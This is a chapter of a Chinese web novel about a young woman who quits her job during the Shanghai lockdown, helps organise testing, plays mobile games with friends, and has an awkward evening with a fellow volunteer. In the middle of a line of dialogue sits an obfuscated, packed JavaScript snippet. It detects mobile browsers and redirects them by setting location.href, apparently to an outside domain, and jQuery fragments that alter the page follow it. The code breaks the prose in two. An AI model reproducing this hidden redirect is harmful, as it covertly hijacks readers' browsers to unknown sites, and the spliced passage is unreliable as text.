小条发来的离职祝福，以及熬夜同事们对告别信的回复，为季节的职业道路画上句号。第二天早上起来时，工作账号已经停用，手提电脑也就无法开机，季节将它束之高阁，等待解封后归还至公司。
卸下重担以后，面前呈现的是更为长久的茫然。突然不用再背活，也不用再被经理恩威并施、以八比一的比例打巴掌给蜜枣，季节觉得自己像因故临时退休的人，可以做一万件事却不知从何做起。又想起一篇描写当年国企下岗潮的文章里提到，很多工人下岗后还照常骑自行车去单位上班，然后才想起自己已经失业，只能绕厂子一圈一圈地骑着……
她翻看着昨晚同事们的回信，大家约定毕业快乐、前程似锦、来日再见，每一封回信都被她转发到私人邮箱留念。伤感的惜别之情，在陋室中弥漫。
离职像一道分隔符，从此季节不再每天踏进稳定的同事圈子，不再与那几个熟悉的温暖的同事合作。并且，她需要钱。如果不找到一份新的工作，那点低保户一般的存款会像沙漏里的沙子一样流逝。置身于如此迫在眉睫的生存漩涡里，她依旧不想重操旧业，而是准备成为一名自由舞蹈教师。
不知是这世界挑战了她，还是她在挑战这个世界。总之，季节苦中作乐地认为，这也算大学生自主创业了。
后来，轮到一号楼下去做核酸，104照例带头组织，季节和502挨家敲门提醒，走廊里喧嚣躁动，狗都叫了起来。
除季节每天外出当班时扔垃圾，其余住户都自觉地攒着垃圾，趁两天一次的核酸时带下楼，每人都拎着几兜。为隔绝病毒，隔壁阿姨用纱巾包住整个头，502的渔夫帽和护目镜则是一直焊在头上没摘过，人人五花八门，如同品种变异。
半路上遇到居委的老师，她手里拿着一把浇花用的巴掌大的喷壶，边走边对着四周的空气喷酒精。季节内心惊呼，想象中的方案还真的落地了。
核酸后回到家中，不久就在楼栋群里收到居委老师发来的视频。视频以第一视角记录了一只手拿着小喷壶向两边喷洒酒精的画面，天大地大，树茂楼阔，一把小喷壶发出的微弱的水丝，细密地渗入了世界中，就像一根雨丝落入土壤那样无声无息。
但楼栋群里的邻居们还是纷纷感谢和赞扬了居委老师。居委老师没说话，隔一会儿又将今日三街坊确诊报告发了出来，统计的是截止到昨夜24时的数据。若干新增确诊，已转入方舱，又有若干人康复后自方舱回到三街坊，继续居家隔离，不参与楼下核酸，而是由专人上门检测。
大家唏嘘了一阵，又彼此鼓舞了一阵。一个瘦小的港台籍男邻居说，据说现在病毒变异，没有此前那么厉害了啦，就是大号流感啦，大家不要太害怕啦。
502说，新的抗原试剂盒发下来了，放在楼门口，我带上来放在大家的家门前，等会儿再开门拿！万一沾了病毒，先让它散一散。楼门口大家的快递，我也顺手带上来了。
楼栋群里响起了一阵对她的致谢，接着104大哥又将里弄志愿群里的“派送中”转发过来，引起了另一阵致谢。
港台男说，大家都是在哪里买到的食品喔？为什么还能有包裹送来？我也想买，我不忍心看我爱人吃火腿肠……
他家的女主人是个高大冷静的女子，看到此条告白仍旧一言不发，倒是楼里其他人纷纷表示为这种甜蜜的爱情所感动。
像例行公事一样浏览和参与讨论后，季节感觉好了很多，将全天时间做了切分安排。上午研究打游戏的策略和技巧，中午烹饪蔬菜包里的宝贵食材，下午进行每三天一次的大扫除，然后把落地式晾衣架当成把杆，练了一会儿芭蕾基训。
空间实在是狭小极了。建筑面积不足三十平的一室一厅，留给卧室的只有回身的地方。一伸腿就把小桌蹬飞了，一抬手几乎能摸到头顶上低矮的吊顶。季节心里数着节奏练了几下，索然无味，也担心会把室内砸了，最后要赔偿房东，只好停止。
幸好这时，瓶子在王者荣耀升星俱乐部里问：季节今天做什么了？
季节对她说：我在重温《末代皇帝》这部电影，里面有一句台词，howcanwesaygoodbye？另一个人回答，aswesaidhello.
老D冒了出来，说：别太伤感，节哀，离了是好事。
瓶子劝季节不要焦虑，事已至此，不妨先打一局游戏。这时是下午四点，群里那几个恰好都闲着，最忙的老凤也暂时交出了报告，在等待经理审阅。于是五人进入线上会议室，一边交换封城背景下的种种传言和情报，一边登陆游戏。
只见开局界面上，五个青铜标签整整齐齐的，是游戏体系中最低的玩家级别。老盆感叹道，这游戏流行这么多年了，该玩的人都玩过了，现在能找出五个青铜新手凑一局也不容易了。
季节近来有所进益，不再死个不停，大大提升了这支队伍的战斗力。一轮输完后，季节返回游戏大厅，看到本杰明也在线。几人改变战略，由季节请来资深的本杰明参战，而王者荣耀升星俱乐部这边每次只派四个人上阵。几个狐朋狗友在会议室里激烈讨论，每一轮用排列组合的方式组队，企图控制变量，以研究到底是谁导致战败。最后结论是任意一种组合均可导致战败。
如此一来，五人之间更是谁也不嫌弃谁。本杰明并不参与到会议室里，只是无声地助战。几人在会议室里谈天说地，有种秘密地说悄悄话的快意。
打到将近五点，季节吃了一个馒头，准时下去当班。本杰明不是今晚的班，令季节十分遗憾，她本来总结了一些战术方法，想见面时跟本杰明讨论。
小条大步向季节走来时，已经是晚班的下半场。季节忙着往板车上堆货，他一边匆匆换上小蓝衣，一边对季节说：“今晚又加班，来晚了。”
“没事，今晚来的人多，刚才他们在轮流跟我搭档。”季节脸上痒得难受，不停地铤而走险，用袖子抹开黏在额头上的碎发。
“别动。”他轻轻拨开季节的手，帮她拂去发丝，“都干了半天的活了，袖子上得有多少细菌病毒？就往脸上招呼。”
季节感受到他的指腹轻柔地划过自己的额头，抬起头来愣愣地看着他。剑眉之下，那双寒星一样的眼睛深深凝视着她，就像他们第一天初见时那样。
四目相对不过片刻，季节移开目光，口中虚张声势道：“看我干嘛，我要去送货了，你留下看门吧。”
“哦。”他戴好手套，拿起货架上的纸笔，忽然弯下腰来说道，“我在看你额头中央的发际线有个向下的尖，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718048|173813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好像猴哦。”
“去你的！”季节大怒。他呵呵笑着躲开，季节单手推着板车的推杆，迈着敦实的大步走远了。小号板车跟在她身侧滑行，像敞篷版的行李箱一样。
被他触碰过的地方还留有温暖的、略带粗粝的感觉，被凉风一吹，才轻飘飘地散去。
由于志愿者队伍新配备两辆电动三轮，送货压力被大大缓解。几个男志愿者驾驶三轮在小区内送货，敞开的后车厢里空间充足，每次装了一货架外加一地的包裹，尚且没有装满。
如果不是在这样的历史性场合下，季节根本不会发现三街坊人才辈出，平时在摩天大厦里工作的白领金领们原来还会开电三轮。
这会儿是今晚的淡季，男志愿者驾驶着电三轮回来后，沉默地偏了偏头，两个女志愿者一声不吭地跳上车厢，身手勇猛利落。男志愿者一脚油门，三轮驶向夜空，两个女生坐在车厢里吹风，沧桑地仰头，看着沿路老楼老树向后退去。
季节笑着看着他们开进小区深处。多么难得的自由时刻，仿佛是对这些无偿扛大包的年轻人的奖励。三街坊居民整体素质过硬，多次向志愿者队伍表达感谢。但也有人骂志愿者送货太慢，说他们明明是拿了工资和好处的，还不给我加急送。
还有人辛苦订来的食品不翼而飞，一口咬定是志愿者利用职权之便昧下了，后来发现是被人偷了。
小区里，已经发生了多起偷快递的案件。
季节回到小条身边，小条问道：“不用工作的感觉怎么样？”
“还可以，还可以。”焦虑和烦躁又开始露出苗头，季节决定等到自由职业有眉目以后再详谈，“今天下午抽空打了几轮游戏，可惜还是全输了！”
“找个男生带你打呀。”小条若无其事地看着大门外，轻声说了一句。
“是呀，我们就是有男有女的。”季节觉得他今天说话有点奇怪，老盆他们是男的，不也打得一样差？反倒是有两个女生朋友打得好，可惜这个月是季度结束之后，她们忙着出各类报表，没空玩游戏。
他愣了一下，才淡淡地说：“哦。”
“本杰明今天下午就带我打了，真是好战友。”季节中肯地评价道，“他打得很好，走位变化多端，头脑也很灵活。”
“那还一直输啊。”
“……”
小条看起来冷冷的。季节察觉到他周围的空气像是上冻了，急忙就此打住。快递员飞驰至大门外，将几个编织袋放上991弄的货架，小条闷头接应。
待到他忙完，季节小心地说：“是不是我辞职以后的生活太清闲了，刺激到你了？你今天还是很忙吧？”有道是当着矮人不说短话，她有点后悔，方才应该说辞职休息一点也不好、都没钱花之类的。
“忙。”他头也不抬地答了一句，就去找来电三轮，闷闷地往后车厢里码货。季节也往上码：“你会开三轮吗？”
他恩了一声，跨上三轮就骑走了。
整个晚上，小条没再和季节说话。季节莫名其妙，见他爱搭不理，也就闭口不言，心想这小子难道会周期性自闭，就像刚认识那时候一样，现在大概是又到了曲线的下行部分。
让她没有想到的是，晚班结束时，小条径直离去，连一声再见也没有说。